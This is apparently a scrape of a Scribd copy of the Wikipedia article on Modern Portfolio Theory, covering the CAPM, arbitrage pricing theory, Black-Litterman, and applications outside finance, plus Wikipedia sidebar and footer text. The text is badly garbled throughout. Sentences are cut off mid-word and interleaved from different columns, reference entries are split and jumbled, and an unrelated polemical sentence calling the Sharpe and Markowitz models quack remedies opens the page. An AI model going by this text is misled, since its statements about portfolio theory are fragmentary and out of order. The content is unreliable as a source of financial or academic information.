Committee could have tested the Sharpe and Markowitz models – they work like quack remedies sold on the Internet – but nobody in Stockholm seems to have thought about it.corporate fraud an accounting. but at the cos the systematic ris the portfolio mana without analyzing solely for the bene portfolio’s non-sys (the CAPMassum available assets). Simply. the risk of the Empirical evidenc hike that stocks ty they are included the S&P 500. [ edit]Other [edit]Applica portfolios an financial" as Some experts app projects and othe financial instrume applied outside of portfolios. asymm This helps with so but not others. Post-modern port MPT by adopting distributed. especially assumptions. The assets in practical purp . 1. Black-Litterman m extension of unco optimization which and absolute `view returns.more expensive a probability of a po (i.e. some d different types of considered.[citation [ edit]Extens Since MPT's intro attempts have be model. the recovery/salv project). 2. that cannot b optimization m the discrete n account. The assets of liquid.while portfolio For example.e. the optimal po is. They si to run the optimiz set of mathematic constraints that w to financial portfol Furthermore. position for a allow us to sim spent on a pr or nothing or.. som elements of Mode applicable to virtu portfolio. 44%. they ca assessed at a opportunities may be limite windows of tim already been abandoned w costs (i. say. Neither of these n possibility of using portfolios. The con risk tolerance of a documenting how acceptable for a g . mo has been used to in social psycholo attributes compris constitute a well-d psychological out the individual suc esteem should be the self-concept is . MPT us as a measure of r assets like major well-defined "histo case. the MPT inv be expressed in m "chance of an RO capital" or "chanc half of the investm in terms of uncert and possible loss transferable to va investment.[13] [edit]Applica disciplines In the 1970s. con Portfolio Theory fo field of regional sc seminal works.applied to a variet problems. M needed] modeled the economy using po methods to exam variability in the la followed by a long relationship betwe and volatility.[14] More recently. the APT. h reveal the identity the number and n likely to change o economies. [ edit]See al Treynor ratio Investment th .prediction has bee involving human s Recently. modern been applied to m and correlation be information retriev aim is to maximiz of a ranked list of same time minimi uncertainty of the [ edit]Comp arbitrage pr The SML and CA with the arbitrage which holds that t financial asset ca a linear function o economic factors. changes in each f a factor specific b The APT is less re assumptions: it al (as opposed to st returns. and assu will hold a unique particular array of the identical "mar CAPM. (reprinte 1970. doi:10. 6. H Selection". ^ Koponen. [ Jensen's alph Sortino ratio Bias ratio (fin Black-Litterm Roll's critique Value investin Two-moment Fundamental Marginal cond dominance edit]Refere 1. Th 77–91. 75974. ISBN 97 . ^ Markowitz. H Selection: Effi Investments. ^ Harry M. ^ Andrei Shlei Introduction to Clarendon Lec 3. ^ Markowitz. Ma Nobel Prizes 1 [Nobel Founda 2. ^ a b c Edwin J "Modern portfo Journal of Ban 1743-1759 5. N Sons. Ti in action: mea imposing valu Volume 50 Iss 4. R Profile Books. ^ 'Overconfide Equilibrium As David Hirshlei Subrahmanya (June. Si Economy Size Frontier: Evide Regional Scie 122. ^ Chandra. Intangibles in Measure Anyt Wiley & Sons. ^ Chamberlain of the distribut utility functions Theory 29. Nass Swan: The Im Random Hous 13. ^ Owen. 18 10. ^ Mandelbrot. doi:10. an the class of el applications to choice".. ^ a b c Merton. 14. ^ a b Hubbard. The (Mis)Beha View of Risk.Basil Blackwe 108-5) 7. Journ 11. ^ Taleb.11 . 9. 12. J. 2001). Financial and of the efficient September 19 8. Willia asset prices: equilibrium un risk". The Rev Studies 25 (2 86.230 96205.2 977928.15. Goetzmann. doi:10. Prof.doi:10.10 [ edit]Furthe Lintner.23 24119. Sh An Introductio Theory. Sharpe. [ edit]Extern Macro-Invest William F. doi:10. ^ Chandra. Journal 442. James preference as risk". Si (2007). John of Risk Asset Risky Investm and Capital B Economics an Press) 47 (1) 39. Y Management . Tobin. Jour Personality 41 373. doi:10. "Cross Applying finan the organizatio concept". Categories: Finan economics | Finan theories | Mathem finance | Investme theories | Financia • Log in / create accou nt • • • • • Arti cle Disc ussi on Rea d Edit Vie w hist ory Top of Form Bottom of Form .org iQfront portfo free tool for p Managing a p risk-free inves risk-sensitive Free Stock P Online Allows stock perform analysis. and portfolio. Applied Mode macroaxis. • • • • • • Main page Content s Feature d content Current events Rando m article Donate to Wikiped ia Interaction • Help • About • • • Wikipedia Communit y portal Recent changes Contact Wikipedia Toolbox Print/export Languages • • • • • • • • • • • • • • • العربية Deutsch Español Français 한국어 Italiano עברית Nederland s 日本語 Português Русский Svenska Українськ а 中文 This page was March 2011 at . • Text is availabl Commons Attri License. • • • • • Contact us Privacy policy About Wikiped Disclaimers • . Inc organization. additio See Terms of U Wikipedia® is a trademark of th Foundation.
https://www.scribd.com/document/57752192/New-Microsoft-Office-Word-Document-2
CC-MAIN-2018-43
refinedweb
5,027
66.03
Due: Tuesday, April 11, 2017, 11:59 pm. Most of the exercises in lab will involve building up an L-system class. This week it will be important for you to use the method names provided. The next several labs will expect the Lsystem and TurtleInterpreter classes to have certain methods with particular names. Begin a class called Lsystem. A class has a simple structure. It begins with the class declaration, and all methods are indented relative to the class definition, similar to a function. Do not forget the class docstrings and method docstings. setBase(self, newbase), getBase(self). The setBase method should assign the new base string to the base field of self. The getBase method should return the base field of self. addRule(self, newrule), which should add the newrule to the rules field of self (reminder: newrule is a list with two strings in it). Look at the version 1 lsystem if you need to remember how to write the method. (Note that we are not going to include getRule because we won't be needing it this week and it would actually need to be removed next week.) read(self, filename)method that opens the file, reads in the Lsystem information, resets the base and rules fields of self, and then store the information from the file in the appropriate fields (you should use the mutators self.setBaseand self.addRuleto. def replace(self, inputString): # assign to a local variable (e.g. newString) the empty string # for each character c in the input string (inputString) # set a local variable (e.g. found) to False # for each rule in the rules field of self # if the symbol in the rule is equal to the character # add to newString the replacement from the rule # set found to True # break # if not found # add to newString the character c # return newstring buildString(self, iterations)method. It will be almost identical to the buildString function from version 1. The code outline is below. def buildString(self, iterations): # assign to a local variable (e.g. newString) the base field of self # for the number of iterations # assign to newstring the result of calling the replace method of self # return newstring python lsystem.py systemA1.txt 3 strA.txt ) lstr = lsys.buildString( iterations ) fp = file( outfile, 'w' ) fp.write(lstr) fp.close() if __name__ == "__main__": main(sys.argv) You can download and run the file on any of the following examples. Systems C through G require multiple rules. class TurtleInterpreter: __init__method with the definition below. The init should call turtle.setup(width = dx, height = dy )and then set the tracer to False (if you wish). def __init__(self, dx = 800, dy = 800): # call turtle.setup # set the turtle tracer to false (optional) def drawString(self, dstring, distance, angle):. When you are done with the lab exercises, you may begin Project 8. © 2017 Ying Li. Page last modified: .
http://cs.colby.edu/courses/S17/cs151-labs/labs/l8.html
CC-MAIN-2017-47
refinedweb
484
67.15
Plotting on the Bloch Sphere¶ Important Updated in QuTiP version 3.0. Introduction¶ When studying the dynamics of a two-level system, it is often convent to visualize the state of the system by plotting the state-vector or density matrix on the Bloch sphere. In QuTiP, we have created two different classes to allow for easy creation and manipulation of data sets, both vectors and data points, on the Bloch sphere. The qutip.Bloch class, uses Matplotlib to render the Bloch sphere, where as qutip.Bloch3d uses the Mayavi rendering engine to generate a more faithful 3D reconstruction of the Bloch sphere. The Bloch and Bloch3d Classes¶ In QuTiP, creating a Bloch sphere is accomplished by calling either: In [1]: b = Bloch() which will load an instance of the qutip.Bloch class, or using: >>> b3d = Bloch3d() that loads the qutip.Bloch3d version. Before getting into the details of these objects, we can simply plot the blank Bloch sphere associated with these instances via: In [2]: b.show() or In addition to the show() command, the Bloch class has the following functions: As an example, we can add a single data point: In [3]: pnt = [1/np.sqrt(3),1/np.sqrt(3),1/np.sqrt(3)] In [4]: b.add_points(pnt) In [5]: b.show() and then a single vector: In [6]: vec = [0,1,0] In [7]: b.add_vectors(vec) In [8]: b.show() and then add another vector corresponding to the \(\left|\rm up \right>\) state: In [9]: up = basis(2,0) In [10]: b.add_states(up) In [11]: b.show() Notice that when we add more than a single vector (or data point), a different color will automatically be applied to the later data set (mod 4). In total, the code for constructing our Bloch sphere with one vector, one state, and a single data point is: In [12]: pnt = [1/np.sqrt(3),1/np.sqrt(3),1/np.sqrt(3)] In [13]: b.add_points(pnt) In [14]: b.add_vectors(vec) In [15]: b.add_states(up) In [16]: b.show() where we have removed the extra show() commands. Replacing b=Bloch() with b=Bloch3d() in the above code generates the following 3D Bloch sphere. We can also plot multiple points, vectors, and states at the same time by passing list or arrays instead of individual elements. Before giving an example, we can use the clear() command to remove the current data from our Bloch sphere instead of creating a new instance: In [17]: b.clear() In [18]: b.show() Now on the same Bloch sphere, we can plot the three states associated with the x, y, and z directions: In [19]: x = (basis(2,0)+(1+0j)*basis(2,1)).unit() In [20]: y = (basis(2,0)+(0+1j)*basis(2,1)).unit() In [21]: z = (basis(2,0)+(0+0j)*basis(2,1)).unit() In [22]: b.add_states([x,y,z]) In [23]: b.show() a similar method works for adding vectors: In [24]: b.clear() In [25]: vec = [[1,0,0],[0,1,0],[0,0,1]] In [26]: b.add_vectors(vec) In [27]: b.show() Adding multiple points to the Bloch sphere works slightly differently than adding multiple states or vectors. For example, lets add a set of 20 points around the equator (after calling clear()): In [28]: xp = [np.cos(th) for th in np.linspace(0, 2*pi, 20)] In [29]: yp = [np.sin(th) for th in np.linspace(0, 2*pi, 20)] In [30]: zp = np.zeros(20) In [31]: pnts = [xp, yp, zp] In [32]: b.add_points(pnts) In [33]: b.show() Notice that, in contrast to states or vectors, each point remains the same color as the initial point. This is because adding multiple data points using the add_points function is interpreted, by default, to correspond to a single data point (single qubit state) plotted at different times. This is very useful when visualizing the dynamics of a qubit. An example of this is given in the example . If we want to plot additional qubit states we can call additional add_points functions: In [34]: xz = np.zeros(20) In [35]: yz = [np.sin(th) for th in np.linspace(0, pi, 20)] In [36]: zz = [np.cos(th) for th in np.linspace(0, pi, 20)] In [37]: b.add_points([xz, yz, zz]) In [38]: b.show() The color and shape of the data points is varied automatically by the Bloch class. Notice how the color and point markers change for each set of data. Again, we have had to call add_points twice because adding more than one set of multiple data points is not supported by the add_points function. What if we want to vary the color of our points. We can tell the qutip.Bloch class to vary the color of each point according to the colors listed in the b.point_color list (see Configuring the Bloch sphere below). Again after clear(): In [39]: xp = [np.cos(th) for th in np.linspace(0, 2*pi, 20)] In [40]: yp = [sin(th) for th in np.linspace(0, 2*pi, 20)] In [41]: zp = np.zeros(20) In [42]: pnts = [xp, yp, zp] In [43]: b.add_points(pnts,'m') # <-- add a 'm' string to signify 'multi' colored points In [44]: b.show() Now, the data points cycle through a variety of predefined colors. Now lets add another set of points, but this time we want the set to be a single color, representing say a qubit going from the \(\left|\rm up\right>\) state to the \(\left|\rm down\right>\) state in the y-z plane: In [45]: xz = np.zeros(20) In [46]: yz = [np.sin(th) for th in np.linspace(0, pi ,20)] In [47]: zz = [np.cos(th) for th in np.linspace(0, pi, 20)] In [48]: b.add_points([xz, yz, zz]) # no 'm' In [49]: b.show() Again, the same plot can be generated using the qutip.Bloch3d class by replacing Bloch with Bloch3d: A more slick way of using this ‘multi’ color feature is also given in the example, where we set the color of the markers as a function of time. Differences Between Bloch and Bloch3d¶ While in general the Bloch and Bloch3d classes are interchangeable, there are some important differences to consider when choosing between them. - The Blochclass uses Matplotlib to generate figures. As such, the data plotted on the sphere is in reality just a 2D object. In contrast the Bloch3dclass uses the 3D rendering engine from VTK via mayavi to generate the sphere and the included data. In this sense the Bloch3dclass is much more advanced, as objects are rendered in 3D leading to a higher quality figure. - Only the Blochclass can be embedded in a Matplotlib figure window. Thus if you want to combine a Bloch sphere with another figure generated in QuTiP, you can not use Bloch3d. Of course you can always post-process your figures using other software to get the desired result. - Due to limitations in the rendering engine, the Bloch3dclass does not support LaTex for text. Again, you can get around this by post-processing. - The user customizable attributes for the Blochand Bloch3dclasses are not identical. Therefore, if you change the properties of one of the classes, these changes will cause an exception if the class is switched. Configuring the Bloch sphere¶ Bloch Class Options¶ At the end of the last section we saw that the colors and marker shapes of the data plotted on the Bloch sphere are automatically varied according to the number of points and vectors added. But what if you want a different choice of color, or you want your sphere to be purple with different axes labels? Well then you are in luck as the Bloch class has 22 attributes which one can control. Assuming b=Bloch(): Bloch3d Class Options¶ The Bloch3d sphere is also customizable. Note however that the attributes for the Bloch3d class are not in one-to-one correspondence to those of the Bloch class due to the different underlying rendering engines. Assuming b=Bloch3d(): These properties can also be accessed via the print command: In [50]: b = Bloch() In [51]: print(b) Bloch data: ----------- Number of points: 0 Number of vectors: 0 Bloch sphere properties: ------------------------ font_color: black font_size: 20 frame_alpha: 0.2 frame_color: gray frame_width: 1 point_color: ['b', 'r', 'g', '#CC6600'] point_marker: ['o', 's', 'd', '^'] point_size: [25, 32, 35, 45] sphere_alpha: 0.2 sphere_color: #FFDDDD figsize: [5, 5] vector_color: ['g', '#CC6600', 'b', 'r'] vector_width: 3 vector_style: -|> vector_mutation: 20 view: [-60, 30] xlabel: ['$x$', ''] xlpos: [1.2, -1.2] ylabel: ['$y$', ''] ylpos: [1.2, -1.2] zlabel: ['$\\left|0\\right>$', '$\\left|1\\right>$'] zlpos: [1.2, -1.2] Animating with the Bloch sphere¶ The Bloch class was designed from the outset to generate animations. To animate a set of vectors or data points the basic idea is: plot the data at time t1, save the sphere, clear the sphere, plot data at t2,... The Bloch sphere will automatically number the output file based on how many times the object has been saved (this is stored in b.savenum). The easiest way to animate data on the Bloch sphere is to use the save() method and generate a series of images to convert into an animation. However, as of Matplotlib version 1.1, creating animations is built-in. We will demonstrate both methods by looking at the decay of a qubit on the bloch sphere. Example: Qubit Decay¶ The code for calculating the expectation values for the Pauli spin operators of a qubit decay is given below. This code is common to both animation examples. from qutip import * from scipy import * def qubit_integrate(w, theta, gamma1, gamma2, psi0, tlist): # operators and the hamiltonian sx = sigmax(); sy = sigmay(); sz = sigmaz(); sm = sigmam() H = w * (cos(theta) * sz + sin(theta) * sx) # collapse operators c_op_list = [] n_th = 0.5 # temperature rate = gamma1 * (n_th + 1) if rate > 0.0: c_op_list.append(sqrt(rate) * sm) rate = gamma1 * n_th if rate > 0.0: c_op_list.append(sqrt(rate) * sm.dag()) rate = gamma2 if rate > 0.0: c_op_list.append(sqrt(rate) * sz) # evolve and calculate expectation values output = mesolve(H, psi0, tlist, c_op_list, [sx, sy, sz]) return output.expect[0], output.expect[1], output.expect[2] ## calculate the dynamics w = 1.0 * 2 * pi # qubit angular frequency theta = 0.2 * pi # qubit angle from sigma_z axis (toward sigma_x axis) gamma1 = 0.5 # qubit relaxation rate gamma2 = 0.2 # qubit dephasing rate # initial state a = 1.0 psi0 = (a* basis(2,0) + (1-a)*basis(2,1))/(sqrt(a**2 + (1-a)**2)) tlist = linspace(0,4,250) #expectation values for ploting sx, sy, sz = qubit_integrate(w, theta, gamma1, gamma2, psi0, tlist) Generating Images for Animation¶ An example of generating images for generating an animation outside of Python is given below: b = Bloch() b.vector_color = ['r'] b.view = [-40,30] for i in range(len(sx)): b.clear() b.add_vectors([np.sin(theta),0,np.cos(theta)]) b.add_points([sx[:i+1],sy[:i+1],sz[:i+1]]) b.save(dirc='temp') #saving images to temp directory in current working directory Generating an animation using ffmpeg (for example) is fairly simple: ffmpeg -r 20 -b 1800 -i bloch_%01d.png bloch.mp4 Directly Generating an Animation¶ Important Generating animations directly from Matplotlib requires installing either mencoder or ffmpeg. While either choice works on linux, it is best to choose ffmpeg when running on the Mac. If using macports just do: sudo port install ffmpeg. The code to directly generate an mp4 movie of the Qubit decay is as follows: from pylab import * import matplotlib.animation as animation from mpl_toolkits.mplot3d import Axes3D fig = figure() ax = Axes3D(fig,azim=-40,elev=30) sphere = Bloch(axes=ax) def animate(i): sphere.clear() sphere.add_vectors([np.sin(theta),0,np.cos(theta)]) sphere.add_points([sx[:i+1],sy[:i+1],sz[:i+1]]) sphere.make_sphere() return ax def init(): sphere.vector_color = ['r'] return ax ani = animation.FuncAnimation(fig, animate, np.arange(len(sx)), init_func=init, blit=True, repeat=False) ani.save('bloch_sphere.mp4', fps=20, clear_temp=True) The resulting movie may be viewed here: Bloch_Decay.mp4
http://qutip.org/docs/4.1/guide/guide-bloch.html
CC-MAIN-2017-43
refinedweb
2,032
66.64
add this settings to your $HOME/.vimrc file set smartindent set tabstop=4 set shiftwidth=4 set expandtab add this settings to your $HOME/.vimrc file set smartindent set tabstop=4 set shiftwidth=4 set expandtab. Very recently my friend Hari wrote an article about operator overloading in ruby, and he asked me to implement the same program which he used in his article in python. His aim was to compare the two hottest languages of technology lovers. The. Introduction. htaccess is simply a server side configuration file, used for webserver configuration management. Which contain some instructions in a text file. And those instructions can be used to improve your server settings and do many other helpful things such as customize your own 404 page, rewrite long urls with more readable ones, disable directory listing, put security restrictions for a directory etc. How to add htaccess file to Server: What we will do is, just create a file with the name .htaccess and put it in our webserver directory. This file would contain some instructions (we call them rules ) in a pre-specified format, that webserver can understand. We would discuss about the rules and its structure in more detail. Things we can acheive with htaccess rules: Lets write a simple .htaccess file: We will write a simple .htaccess file to show how we can redirect one url to another. Some times our url will be long and complex to the user. In those times you can simply replace such long urls with more readable and search engine optimised urls . This is how we acheive url redirection through htaccess rule. RewriteEngine On RewriteRule ^myurl.*$ [NC,L] This rule in .htaccess file will redirect request to Explanation: a general format of the rule for url redirect will be Redirect /old_url/ [flags] Now lets do cross section in the real example: RewriteEngine On : will turn on the rewriting engine. We will write this line only once in a .htaccess file. RewriteRule ^myurl.*$ [NC,L] The above line specify the rule we want to apply. ^myurl.*$ : The server will compare the url of all the requests to this pattern. If it matches then it will replace the pattern with the following argument in rewrite rule. ( here it is ). [NC,L] : These are “Flags”, that tell Apache how to apply the rule. “NC”, tells Apache that this rule should be case-insensitive, and “L” tells Apache not to process any more rules if this one is used. Condition Now lets try another example, To redirect an old domain to a new domain. That is if you have chnaged your website domain name to a new name with out changing its directory structure, you can put this .htaccess file in your webserver , which will redirect all requests to old domain to new domain. RewriteEngine On RewriteCond %{HTTP_HOST} old_domain\.com [NC] RewriteRule ^(.*)$ [L,R=301] Here we have a RewriteCond (rewrite condition) preceded by RewriteRule. Which is the most common case in htaccess files. By using rewriteCond before rewrite rule we can limit the RewriteRule only if that condition is met. We can also write multiple condition using and, or. How RewriteCond works? General format: RewriteCond server variable string The RewriteCond operates in a similar way with RewriteRule. The string to test can be a variety of things. Such as which browser used, the IP address etc, it depends on the server variable we have specified. In the above example we have used the HTTP_HOST variable. It verifies whether the given string matches the host domain, and if it does do RewriteRule. List of server variable that we can use: HTTP Headers HTTP_USER_AGENT HTTP_REFERER HTTP_COOKIE HTTP_FORWARDED HTTP_HOST HTTP_PROXY_CONNECTION HTTP_ACCEPT Connection Variables REMOTE_ADDR REMOTE_HOST REMOTE_USER REMOTE_IDENT REQUEST_METHOD SCRIPT_FILENAME PATH_INFO QUERY_STRING AUTH_TYPE Server Variables DOCUMENT_ROOT SERVER_ADMIN SERVER_NAME SERVER_ADDR SERVER_PORT SERVER_PROTOCOL SERVER_SOFTWARE Dates and Times TIME_YEAR TIME_MON TIME_DAY TIME_HOUR TIME_MIN TIME_SEC TIME_WDAY TIME Special Items API_VERSION THE_REQUEST REQUEST_URI REQUEST_FILENAME IS_SUBREQ List of flags that we can use:) References: File) We can easily get many details from a youtube url using some of Python libraries. Here am going to show you how we can get 1)Video id 2)Video title 3)Author of video 4)Video thumbnails We use Python’s urlparse, urllib and simplejson libraries to do this. import urlparse import urllib import simplejson url_data = urlparse.urlparse("") video_id = urlparse.parse_qs(url_data.query)["v"][0] # this is the video id # from this url you will get all data you needed about video, by just replacing the video id url = '' % video_id json = simplejson.load(urllib.urlopen(url)) # this is the title of the video title = json['entry']['title']['$t'] # author of video author = json['entry']['author'][0]['name']['$t'] print "id:%s\nauthor:%s\ntitle:%s" % (id, author, title) You will get thumbnails from this url: image_id can be 0,1,2 or 3.
https://jineshpaloor.wordpress.com/author/jineshpaloor/
CC-MAIN-2017-51
refinedweb
804
64.2
Re: WS::Client package fails to load wsdl - From: Bruce <doNOTmailMe@xxxxxxxxxxx> - Date: Thu, 18 Sep 2008 09:13:25 -0500 yahalom wrote: On Sep 18, 7:20 am, "Gerald W. Lester" <Gerald.Les...@xxxxxxx> wrote:yahalom wrote:I try to work with a web service using WS package. the command:The import command in a WSDL states to go to that site and load the scheme ::WS::Client::GetAndParseWsdl failed with "couldn't open socket: host is unreachable (Name or service not known)" digging into the package I found it tries to get the url that is in the wsdl: <import namespace="" /> this url is down. BUT when we work from other languages like C# and java there is no problem to parse the wsdl. When I remove the url the parsing works fine. any insignt about it?. found there (presumably it contains required data structure definitions -- but since you say it works fine without it, I guess it does not). You have the following options: 1) Get XOR.com to get their site up 2) Get the WSDL author to remove the unneeded import 3) Copy the WSDL to your disk, remove the import, and use your edited version as the WSDL to parse. Now the real question in my mind, is why does C# and Java not fail! This is also something I wondered about and that is why I posted the quesion. I know I can remove the unneeded import but I also wondered why other env did not fail. maybe it is better that this will be the default behaviour unless a 'strict' option will be stated. a wsdl import command can associate a namespace with a location. The item you posted has no location attribute. and even though the namespace looks like a URL (and many do) they don't have to be. and many tools can externally defined resource locations for namespaces so when they parse a WSDL with a namespace they just grab the local copy they have that defines that namspace. falling back the the namespace as a url when no location is given is possibly acceptable. I think most tools would just silenty (or perhaps a warnig in a log) ignore the import and then fail later if you referred to something that you needed from it. in this case it appears you aren't needing it at all. . - References: - WS::Client package fails to load wsdl - From: yahalom - Re: WS::Client package fails to load wsdl - From: Gerald W. Lester - Re: WS::Client package fails to load wsdl - From: yahalom - Prev by Date: Re: Binding images to mouseclicks - Next by Date: Re: as the dust settles (hopefully the last of this) - Previous by thread: Re: WS::Client package fails to load wsdl - Next by thread: Re: WS::Client package fails to load wsdl - Index(es):
http://coding.derkeiler.com/Archive/Tcl/comp.lang.tcl/2008-09/msg00667.html
CC-MAIN-2013-48
refinedweb
476
75.95
How to serve static files with Python 3 + Flask Python Flask is a good microframework for building a minimal viable product to validate our ideas on the Internet. A modern web application encompasses documents that tell the web browser how to build the visuals of our web application and communicate with our server backend. Such documents are usually static in nature and are served as they are to the web browser without any processing from the server end. Comparing setting up an instance of the Nginx server with adding code in our Flask application, the latter can be a more convenient way for us to realise our minimal viable product. This post documents the proof of concept that I did to serve static files with Python 3 and Flask. Sample code to serve static files with Python 3 + Flask The following is the code that I wrote to serve static files that are contained in a directory that is named as "static": import os from flask import Flask from flask import send_from_directory static_file_dir = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'static') app = Flask(__name__) @app.route('/dir', methods=['GET']) def serve_dir_directory_index(): return send_from_directory(static_file_dir, 'index.html') @app.route('/dir/<path:path>', methods=['GET']) def serve_file_in_dir(path): if not os.path.isfile(os.path.join(static_file_dir, path)): path = os.path.join(path, 'index.html') return send_from_directory(static_file_dir, path) app.run(host='0.0.0.0',port=8080) For this code to work, I had placed it in the same directory level as the directory that is named as "static". The first 3 statements imported the os module, the flask.Flask class and flask.send_from_directory function from flask. To get the directory that contains the static files, I first get the directory path of the Python file that contains this code by calling os.path.dirname(os.path.realpath(__file__)). I then call os.path.join to construct the path to the directory that contains the static files and store it in the static_file_dir variable. I then create an instance of the Flask class for realising the web server and made it available via the app variable. With the app variable, I then decorated the serve_dir_directory_index function and the serve_file_in_dir function with app.route. That would cause Flask to direct HTTP GET requests for /dir to serve_dir_directory_index and HTTP GET requests for /dir/* to serve_file_in_dir. Inside serve_dir_directory_index, I call send_from_directory to attempt to return a index.html that resides in the root level of static_file_dir. This would emulate the behaviour of returning a Webserver directory index for /dir. Inside serve_file_in_dir, I first check whether the requested uri corresponds to an actual file. If not, it would mean that the HTTP GET request is directed at a directory within /dir. For such a case, I changed the path to point to a index.html that is located at the root level of that directory. Finally, I used send_from_directory to attempt to return the corresponding file back to the web browser. The last statement, app.run(host='0.0.0.0',port=8080), starts the web server that listens on port 8080 for incoming HTTP requests. Use Nginx for serving files from a static website instead of a Python 3 Flask application A static website is one that are build with static files. If you are deploying a static website as your minimal viable product, it is recommended that you use Nginx to serve the static files instead. In case you need it, this is how to configure Nginx to serve files for a static website.
https://www.techcoil.com/blog/serve-static-files-python-3-flask/
CC-MAIN-2019-22
refinedweb
595
55.54
Control.Concurrent.MState Contents Description MState: A consistent state monad for concurrent applications. Synopsis - data MState t m a - module Control.Monad.State.Class - runMState :: Forkable m => MState t m a -> t -> m (a, t) - evalMState :: Forkable m => Bool -> MState t m a -> t -> m a - execMState :: Forkable m => MState t m a -> t -> m t - mapMState :: (MonadIO m, MonadIO n) => (m (a, t) -> n (b, t)) -> MState t m a -> MState t n b - modifyM :: MonadIO m => (t -> t) -> MState t m () - class MonadPeelIO m => Forkable m where - forkM :: Forkable m => MState t m () -> MState t m ThreadId - killMState :: Forkable m => MState t m () The MState Monad The MState monad is a state monad for concurrent applications. To create a new thread sharing the same (modifiable) state use the forkM function. Instances module Control.Monad.State.Class Arguments Arguments Arguments mapMState :: (MonadIO m, MonadIO n) => (m (a, t) -> n (b, t)) -> MState t m a -> MState t n bSource Map a stateful computation from one (return value, state) pair to another. See Control.Monad.State.Lazy for more information. Be aware that both MStates still share the same state. modifyM :: MonadIO m => (t -> t) -> MState t m ()Source Modify the MState, block all other threads from accessing the state in the meantime (using atomically from the Control.Concurrent.STM library). Concurrency class MonadPeelIO m => Forkable m whereSource Typeclass for forkable monads. This is the basic information about how to fork a new thread in the current monad. To start a new thread in a MState application you should always use forkM. Instances Arguments Example Example usage: import Control.Concurrent import Control.Concurrent.MState import Control.Monad.State type MyState a = MState Int IO a -- Expected state value: 2 main :: IO () main = print =<< execMState incTwice 0 incTwice :: MyState () incTwice = do -- increase in the current thread inc -- This thread should get killed before it can "inc" our state: t_id <- forkM $ do delay 2 inc -- Second increase with a small delay in a forked thread, killing the -- thread above forkM $ do delay 1 inc kill t_id return () where inc = modifyM (+1) kill = liftIO . killThread delay = liftIO . threadDelay . (*1000000) -- in seconds
http://hackage.haskell.org/package/mstate-0.2.1/docs/Control-Concurrent-MState.html
CC-MAIN-2015-35
refinedweb
358
60.75
A summary explanation of London’s labour market in the recent recession. Analysis by Melisa Wickham Presented by Jonathan Hoffman. What the summary covers:. Looking forward : How might the factors that have supported the labour market thus far change summary explanation of London’s labour market in the recent recession Analysis by Melisa Wickham Presented by Jonathan Hoffman Possible explanations: Why has the labour market in the UK and London been more resilient during the recent recession so far? BACKGROUND This is equal to a steady rate of decline of 2.0% a year This is equal to a steady rate of decline of 3.7% a year And in the 1990s it fell by 2.5% over 5 quarters In the 1980s GDP fell by 4.7% over 5 quarters This is equal to a steady rate of decline of 4.3% a year In 2008, GDP fell by 6.4% over 6 quarters Source: ONS, GDP chained volume measure, constant 2006 prices, SA The claimant count rate has increased so far by only 2.1 percentage points But by the same time had increased by 4.7 percentage points in 1990s recession And had increased by 5.4 percentage points in 1980s recession Note: Claimant count denominator = claimant count + WFJ Source: ONS Employee job numbers have fallen by 4.3% so far during this recession But by the same time fell by 6.1% in the 1990s recession Source: WFJ, ONS This is equal to a steady rate of decline of 2.8% a year This is equal to a steady rate of decline of 4.1% a year London’s output fell by 6.2% over 9 quarters in the 1990s recession And has fallen by 6.1% over 6 quarters in the recent recession Source: GVA at basic prices, constant 2005 prices, Experian But by the same time in the 1990s it had risen by 6.5 percentage points The claimant count rate in London has risen by 1.7 percentage points so far in this recession And by 4.1 percentage points in the 1980s recession Note: Claimant count denominator = claimant count + WFJ Source: ONS But by the same time fell by 11.1% in the 1990s recession Has fallen by 3.5% so far in this recession Source: WFJ, Nomis 1 London figures are derived from Experian’s regional GVA estimates. UK figures are derived from ONS GDP estimates. 2 From UK output peak to eleven quarters after. 3 For UK output peak to ten quarters after. Why? Have workers accepted larger pay cuts/smaller pay rises to reduce their risks of unemployment? Compared to the 1980s and 1990s recessions it does not seem that wages in the UK have fallen sufficiently to compensate for lower firm output. Source: ONS (ROYJ, MGRN, MGRZ, ABML), GLA Economics calculation However………. Looking forward, slow employment growth during the recovery should minimise pressure on wage rises in the UK. However, Sterling is unlikely to fall much further, so further falls in the relative unit labour costs in the UK seem unlikely. Source: IMF 1990s peak 2008 peak Source: PSNFC net rate of return (%, SA), ONS Strong corporate profitability and low rate of business failures Actual business failures Compared to the rise in the 1980s and 1990s recessions and given the fall in GDP, the rise in company liquidations has been modest during the 2008 recession. 1990s 2008 1980s Note: Historic business failures are based on data for compulsory liquidations, creditors’ voluntary liquidations, administrative receiverships, administrative orders and company voluntary arrangements from The Insolvency Service Growth in public sector Exclude jobs in public administration, defence, education, health and social work from the total number of jobs in the economy…….. Source: Workforce Jobs, ONS However, a lot of this increase is due to the incorporation of financial institutions (e.g. Lloyds) into the public sector Around 25% of the public sector employment increase between 2008 and 2010 was in London. Around 40% of this is due to the reclassification of financial institutions into the public sector There has been a large rise since the recession Looking forward, the OBR estimates that public sector employment will fall by around 400,000 by 2015/16. This means that public sector employment will contract at a similar compound rate over the next 5 years as the private sector experienced between 2008 and 2010. Looking specifically at public sector employment in the 2008 recession: Note: ‘Other public sector’ includes financial corporations. In the timeframe above, RBoS and Lloyds were included in the 3rd quarter from UK output peak (2008 Q4). Northern Rock was included prior to the GDP peak. Source: ONS Looking forward summary For a more detailed examination and explanations see the main report: ‘Working Paper 44: London’s labour market in the recent recession’ by GLA Economics:
http://www.slideserve.com/yair/a-summary-explanation-of-london-s-labour-market-in-the-recent-recession
CC-MAIN-2017-13
refinedweb
805
61.67
Hurricane Matthew was upgraded to a Category four hurricane, with windspeeds up to 140 miles per hour. Source: NOAA/NASA Goddard MODIS Rapid Response Team?xml:namespace> HOUSTON (ICIS)--Hurricane Matthew strengthened once again on Friday, increasing from a Category 3 to a Category 4 storm, according to the US National Oceanic and Atmospheric Administration (NOAA). Matthew is moving west-southwest at approximately 9 miles per hour (15 km/hour) but is expected to shift west-north west by Saturday night. Windspeeds are up to 140 miles per hour. The government of Jamaica has issued a hurricane watch, as Matthew is approximately 465 miles southeast from the coastline and could make landfall within the next 48 hours.
http://www.icis.com/resources/news/2016/10/01/10039702/matthew-upgraded-to-category-4-hurricane/
CC-MAIN-2016-44
refinedweb
117
52.9
